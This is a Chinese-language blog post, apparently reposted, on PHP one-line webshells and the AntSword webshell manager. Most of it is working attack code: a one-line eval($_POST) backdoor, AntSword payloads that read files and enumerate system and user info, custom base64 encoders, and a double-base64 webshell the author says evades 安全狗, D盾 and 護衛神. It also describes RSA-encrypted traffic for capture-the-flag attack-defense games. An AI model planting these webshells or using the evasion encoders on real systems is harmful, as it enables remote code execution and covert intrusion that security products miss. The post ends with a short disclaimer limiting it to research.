一句話木馬原理
一句話木馬形如這樣:
<?php @eval($_POST[password]);?>
使用蟻劍連接,連接成功

那為什么能成功呢?
首先要探尋一句話木馬的原理

所以我們post傳入的字串會以php代碼的形式運行,而php代碼又能呼叫系統操作所以便成了木馬

蟻劍的原理
知道了一句話木馬的原理,那么我們康康蟻劍的原理,蟻劍用很多功能確實很方便,還支持編碼,垃圾數值,亂數,自定義編碼解碼器,

首先選擇代理設定,因為這里我們選擇用burpsuite來抓取流量,



蟻劍連接來分析一下流量
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents(); //回傳輸出緩沖區的內容
ob_end_clean(); //清理(擦除)緩沖區并關閉輸出緩沖
echo "c6b05fd97";
echo @asenc($output);echo "d69e35d304";}
ob_start(); //打開輸出緩沖區
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]); //獲取當前url路由的絕對路徑
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); //當前腳本所在檔案系統(非檔案根目錄)的基本路徑
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
}
else{
$R.="/";}$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //獲取目錄,uid,系統資訊,用戶等資訊
然后我們就大概了解了一下蟻劍的功能,在康康蟻劍是如何獲取資料的

@ini_set("display_errors", "0");
@set_time_limit(0); //不顯示報錯
function asenc($out){
return $out;
}; //用于回傳資訊
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "a170af01bc"; //用于回傳資訊,同時加入歲間前綴,對安全狗是一種繞過
echo @asenc($output);
echo "6d341a3c3a";
}
ob_start();
try{
$F=base64_decode(substr($_POST["hfdce8c1b4e4ef"],2)); //base64解碼post傳入的另一個資料
$P=@fopen($F,"r"); // 進行讀取檔案的操作
echo(@fread($P,filesize($F)?filesize($F):4096));
@fclose($P);;
}
catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //報錯資訊
原理還是很好理解的,但是不明白為什么要令外post一個資料再進去檔案內的傳遞,難道是面對物件撰寫的原因,還是令有好處,但是如果整體個人覺得更容易混淆流量,不過問題不大,后面還要編碼更多的引數,才能繞過安全??
編碼器原理
蟻劍自帶變數,支持我們自定義編碼和加密方式來混淆傳入的主變數(不知道叫啥名字就就是連接密碼的那個變數)的引數

/**
* php::base64編碼器
* Create at: 2020/11/21 15:21:10
*/
'use strict';
/*
* @param {String} pwd 連接密碼
* @param {Array} data 編碼器處理前的 payload 陣列
* @return {Array} data 編碼器處理后的 payload 陣列
*/
module.exports = (pwd, data, ext={}) => {
// ########## 請在下方撰寫你自己的代碼 ###################
// 以下代碼為 PHP Base64 樣例
// 生成一個隨機變數名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出來之后,轉為 base64 編碼并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先處理 pwd 引數下的內容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ########## 請在上方撰寫你自己的代碼 ###################
// 洗掉 _ 原有的payload
delete data['_'];
// 回傳編碼器處理后的 payload 陣列
return data;
}
代碼作者已經給了注釋很好理解,然后我們就可以開心的構造自己的編碼方式來繞過安全狗了,
免殺小例子
這里給了例子吧,直接使用雙層base64,我丟盡然還能免殺(后來測驗發現),學長聊天說雙base64能過??,我起初不信,嘗試了一下,發現不行,寫這篇文章的時候嘗試一下還是不行,然后發現是因為我的webshell沒有做免殺處理,被??直接給掃出來,然后就不管你的流量了直接殺,wogiao!牛皮!!
雙base64蟻劍編碼器
/**
* php::base64編碼器
* Create at: 2020/11/21 15:21:10
*/
'use strict';
/*
* @param {String} pwd 連接密碼
* @param {Array} data 編碼器處理前的 payload 陣列
* @return {Array} data 編碼器處理后的 payload 陣列
*/
module.exports = (pwd, data, ext={}) => {
// ########## 請在下方撰寫你自己的代碼 ###################
// 以下代碼為 PHP Base64 樣例
// 生成一個隨機變數名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出來之后,轉為 base64 編碼并放入 randomID key 下
data['_'] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先處理 pwd 引數下的內容,
//data[pwd] = `${data['_']}"));`;
data[pwd] = Buffer.from(data['_']).toString('base64');
// ########## 請在上方撰寫你自己的代碼 ###################
// 洗掉 _ 原有的payload
delete data['_'];
// 回傳編碼器處理后的 payload 陣列
return data;
}
免殺的webshell
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
webshell是能夠免殺安全??和D盾和護衛神的,其他的沒測驗


解碼器原理
/**
* php::base64解碼器
* Create at: 2020/11/21 17:15:24
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 將回傳資料base64編碼
* 自定義輸出函式名稱必須為 asenc
* 該函式使用的語法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解碼 Buffer
* @param {string} data 要被解碼的 Buffer
* @returns {string} 解碼后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
官方注釋很清楚這里就不弄了,而且我覺得蟻劍自帶的base64啥的解碼器完全夠用,流量的混淆根本沒法猜,有隨機的前綴后綴是你所傳參的時候傳過去的,所有我沒整就過??了,
蟻劍RSA

RSA一種基于密碼學的非對稱加密來混淆流量的方法,先用私鑰對要加密的東西進行加密,然后用公鑰解密,所以我們把公鑰放入webshell里面,就可實作對流量的混淆
RSA的原理利用的是數論中的mod運算,不可破解的原因就是一個大數不易分解為兩個素數的乘積,所以便可實作加解密,

同樣的RSA混淆流量對CTF的AWD模式也有好處,就是別人沒法通過查看自己的webshell,來連接其他的人webshell,因為你如果能打下來不可能只種一個webshell
參考:先知社區_從0到1掌握AWD攻防之RSA必殺
蟻劍的RSA使用方式很簡單
使用前提,目標要php開啟ssl,這個也是這個加密方法的缺陷,不開啟沒法呼叫解密函式
開啟openssl方法
打開iphp.ini
搜索extension=php_openssl.dll,把前面的分號取消,然后重啟web服務
在編碼器的位置

然后創建一個


然后將這個位置的webshell上傳,寫入啥的弄到目標

然后連接的時候選擇你創建的編碼器就好了,測驗了一下,安全??和護衛神不攔截,D盾可以掃描出來但是危險等級不高,
對于AWDctf利用蟻劍作者針對RSA也加了一個方法
在RSA編碼器的位置加入下面代碼,什么作用呢,在awd中別人抓取你的webshell讀取flag流量進行轉發到其他服務器中也可以獲得flag,所以這里設定時效為5秒,可以設定更短,
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;

參考文章及說明
蟻劍改造過WAF系列
蟻劍改造計劃
學蟻致用
最后歡迎訪問我的個人博客:https://lnng.top/
說明:本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/228440.html
標籤:其他
上一篇:Burp Suite 引數搜集插件撰寫(python)
下一篇:云服務器(阿里云)的安全組設定
